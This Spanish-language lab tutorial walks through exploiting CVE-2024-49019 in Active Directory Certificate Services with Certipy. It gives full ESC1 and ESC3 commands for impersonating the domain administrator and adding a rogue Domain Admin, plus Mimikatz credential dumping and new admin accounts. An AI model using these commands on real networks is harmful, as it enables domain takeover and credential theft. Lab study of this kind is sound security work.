Explotando CVE-2024-49019: Escalada de Privilegios en la Autoridad de Certificación

Descripción General

CVE-2024-49019 es una vulnerabilidad en los Servicios de Certificado de Active Directory (AD CS) que permite a un atacante escalar privilegios mediante el uso indebido de la autenticación basada en certificados. Esta guía demuestra cómo explotar esta vulnerabilidad utilizando Certipy.

Tabla de Credenciales

La máquina virtual Ubuntu-Wazuh se utiliza con fines de detección. Guía de Detección Mitigación

Paso 1: Clonar el Repositorio y Configurar las Máquinas Virtuales

Primero, clone el repositorio que contiene los archivos necesarios:

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

Instalar Vagrant

Debe instalar Vagrant en su máquina anfitriona antes de continuar.

Para Windows

Descargue e instale Vagrant desde aquí, o instálelo usando PowerShell:

choco install vagrant

Para Linux

sudo apt update && sudo apt install vagrant -y

Configurar Máquinas Virtuales

Máquina Virtual Windows Server 2022

cd windows-server2022
vagrant up

Máquina Virtual Kali Linux

cd kali-VM
vagrant up

Máquina Virtual Wazuh Ubuntu

cd WazuhUbuntu
vagrant up

Paso 2: Configurar la Red Virtual

Dado que el exploit requiere una red NAT, configure VirtualBox de la siguiente manera:

En Windows

Antes de ejecutar el comando a continuación, asegúrese de que VBoxManage esté agregado a sus variables de entorno. Si no es así, ejecute el comando usando su ruta completa:

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Si VBoxManage no se reconoce, use:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

En Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Asegúrese de revisar todas las máquinas virtuales en VirtualBox y de que estén asignadas al adaptador de red NatNetwork - NatNet1. Puede crear una red NAT con un nombre diferente, pero debe estar en el rango de IP 10.0.2.0/24.

Nota: Se recomienda configurar DNS para el servidor Wazuh. En este caso, el DNS debe ser: 10.0.2.1 - A veces, sin internet, la comprobación de la API fallará y no podrá acceder al panel de Wazuh

Paso 3: Modificar el Archivo Hosts

Antes de continuar, asegúrese de que todas las máquinas virtuales estén encendidas.

Acceda a la máquina virtual Kali Linux para iniciar el ataque y actualice su archivo /etc/hosts:

sudo nano /etc/hosts

Agregue la siguiente entrada:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Guarde y salga.

Paso 4: Configurar el Entorno

Navegue al directorio CVE-49019 y active el entorno virtual de Python:

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

Paso 5: Métodos de Explotación

Hay dos formas de explotar esta vulnerabilidad: ESC1 y ESC3.

Método ESC1

Encontrar Plantillas Vulnerables

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Solicitar Certificado

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

Usar Certificado para Acceso Shell LDAP

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Agregar un Nuevo Usuario

add_user badadmin

Agregar Usuario al Grupo de Administradores del Dominio

add_user_to_group badadmin "Domain Admins"

Método ESC3

Encontrar Plantillas Vulnerables

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Solicitar Certificado desde Usuario de Prueba

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

Solicitar Certificado para Administrador del Dominio usando el certificado de testuser

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

Aquí es donde este método difiere de ESC1, ya que puede solicitar PKINIT y obtener los Hashes del TGT

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

Nota: En caso de error al intentar solicitar TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Hay una solución alternativa: asegúrese de que su máquina anfitriona tenga la misma hora que el propio Windows Server. Asegúrese de ejecutar este comando para actualizar la máquina virtual Kali-Linux para que tenga la misma hora que Windows-Server.

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

Asegúrese de que Windows-Server tenga la misma zona horaria que la máquina anfitriona. Considere que no se puede modificar debido a la organización. Por favor, considere ir a Zona Horaria de Fecha y Hora para cambiarlo manualmente para que coincida con la máquina anfitriona. Kali-VM y Windows Server deben tener la misma hora que la máquina anfitriona.

Puede intentar forzar la sincronización de hora usando el comando a continuación

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

Usar Certificado para Obtener Acceso de Administrador

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Paso 6: ¿Qué Puede Hacer Después de la Explotación?

Una vez obtenido el acceso a nivel de administrador, el atacante puede:

• Crear y gestionar cuentas de usuario
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• Volcar credenciales usando Mimikatz:
  root@kitploit:~

  sekurlsa::logonpasswords
  

• **Secretdump usando Impacket
• **Wmiexec para acceder al shell de Windows Server
• Realizar movimientos laterales dentro de la red
• Establecer persistencia
• Exfiltrar datos sensibles

Para estrategias de detección y mitigación, consulte la guía de detección.

Conclusión

CVE-2024-49019 presenta un riesgo de seguridad significativo debido a su capacidad para permitir la escalada de privilegios no autorizada. Comprender esta vulnerabilidad e implementar mecanismos de detección adecuados, como el uso de Wazuh, es crucial para asegurar los entornos de Active Directory.

Para más información sobre la protección de AD CS, consulte Microsoft Security CVE-2024-49019.